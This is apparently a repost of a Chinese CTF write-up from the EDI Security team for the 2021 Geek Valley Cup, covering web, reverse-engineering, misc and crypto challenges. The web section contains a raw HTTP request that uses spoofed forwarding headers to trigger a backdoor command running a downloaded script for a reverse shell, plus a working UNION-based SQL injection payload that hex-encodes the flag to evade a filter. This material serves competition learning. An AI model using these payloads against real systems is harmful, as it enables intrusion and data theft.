2021年极客谷杯 wp

  • A+
所属分类:CTF专场

点击蓝字 ·  关注我们

01

Web


1

R.class反编译

2021年极客谷杯 wp

5ebe2294 startswitch的 secret 就是下载sh然后反弹
POST /r/e HTTP/1.1Host: ade39839-37d1-4589-95aa-2767ae94b4f3.jkg.dasctf.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1X-Forwarded-For: 127.0.0.1X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Remote-Addr: 127.0.0.1Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 30x=secret&c=bash /tmp/1 &cmd=id

2021年极客谷杯 wp


2


发现SQL注⼊ 点, Sqlmap 可以跑出 表名 有flag 表

2021年极客谷杯 wp

读取flag 发现有过滤,需要编码

2021年极客谷杯 wp


payload:

/content.php?id=1 union select NULL,NULL,(select hex(GROUP_CONCAT(b)) from (select 1 as a,2 asunion select * from flag)n) -- -

02

Re

⽆壳,直接jeb3.0打开

2021年极客谷杯 wp

是⼀个equal验证,进⼊a看看

2021年极客谷杯 wp

⼀个明显的md5验证 逻辑很清晰了,上⾯的字符串md5后取前⼋位md5就得到flag

03

Misc


1

三段flag 

第⼀段html编码 flag{bb16bf6a 

第⼆段bubble编码 **78ac2b67a1359** 

第三段jencode编码 57232c9ef9c} 

flag{bb16bf6a78ac2b67a135957232c9ef9c}


2

固件分析,先 binwalk -Me 得到固件内容

2021年极客谷杯 wp

根据修改⽇期⼀个⼀个翻⾥⾯⽂件,

在squashfs-roothomepiDesktopctf⽬录下找到⽂件 .log.txt

2021年极客谷杯 wp


显然注意到gpio_0位有区别in和out,⼜注意到前⾯的时间有区别(间隔1秒和3秒),考虑根据这个延时组成空格转 morse(1秒为0,3秒为1,4秒为空格间隔),得到 1010 111 111 0100 0100 0010 0100 01 110 11 111 010 000 0 00 000 00 00 000 1000 1011 0110 00 ,转morse得到

2021年极客谷杯 wp

2021年极客谷杯 wp

04

Crypto


dpdqdr

2021年极客谷杯 wp

其中 不互素,扩展中国剩余定理⼀把梭。

from Crypto.Util.number import inversedef mergeCRT(b1, m1, b2, m2): g = gcd(m1, m2) m = m1 * m2 // g if gcd(m1 // g, m2 // g) != 1: return None b = (inverse(m1 // g, m2 // g) * (b2 - b1) // g) % (m2 // g) * m1 + b1 return b, mdef exCRT(bs, ms, Min = None): l = len(bs) tmp = (bs[0], ms[0]) for i in range(1, l): tmp = mergeCRT(tmp[0], tmp[1], bs[i], ms[i]) if tmp == None: return None return tmp


random

题⽬⾃定义了⼀个随机函数r,但是这个随机函数的输出只有 种情况。getPrime的时候使⽤这个随机函数,跟进getPrime的源码:

def getPrime(N, randfunc=None): """Return a random N-bit prime number. If randfunc is omitted, then :meth:`Random.get_random_bytes` is used. """ if randfunc is None: randfunc = Random.get_random_bytes number=getRandomNBitInteger(N, randfunc) | 1 while (not isPrime(number, randfunc=randfunc)): number=number+2 return number

发现randfunc主要⽤在了getRandomNBitInteger函数 跟进发现主要调⽤getRandomInteger函数 在getRandomInteger中

def getRandomInteger(N, randfunc=None):"""Return a random number at most N bits long. If :data:`randfunc` is omitted, then :meth:`Random.get_random_bytes` is used. .. deprecated:: 3.0 This function is for internal use only and may be renamed or removed in the future. Use :func:`Crypto.Random.random.getrandbits` instead. """ if randfunc is None: randfunc = Random.get_random_bytes S = randfunc(N>>3) odd_bits = N % 8 if odd_bits != 0: rand_bits = ord(randfunc(1)) >> (8-odd_bits) S = struct.pack('B', rand_bits) + S value = bytes_to_long(S) return value

发现其只调⽤了两次randfunc,因此这种情况下的getPrime最多只能得到65536个随机数,⽽其中为质数的数字更 少。因此只需要把这些质数全部找出来,并且因为质数⾜够⼤,只⽤⼀个质数p⽽不是p*q就能恢复,爆破就⾏了。⾸先获取⼤部分质数:

primes = set()while True: primes.add(getPrime(1024, randfunc=r)) print(len(primes))

存了43个质数之后,直接开始跑

for each in primes: d = inverse(e, each - 1) m = pow(c, d, each) if m.bit_length() < 1000: print(long_to_bytes(m)


modulus

共模攻击,扩展欧⼏⾥得算指数就⾏了。

00

Tip

你是否想要加入一个安全团

拥有更好的学习氛围?

那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。

欢迎各位大佬小白入驻,大家一起打CTF,一起进步。    

我们在挖掘,不让你埋没!

你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。

有意向的师傅请联系邮箱[email protected](带上自己的简历,简历内容包括自己的学习方向,学习经历等)

EDI安全

2021年极客谷杯 wp

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):2021年极客谷杯 wp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: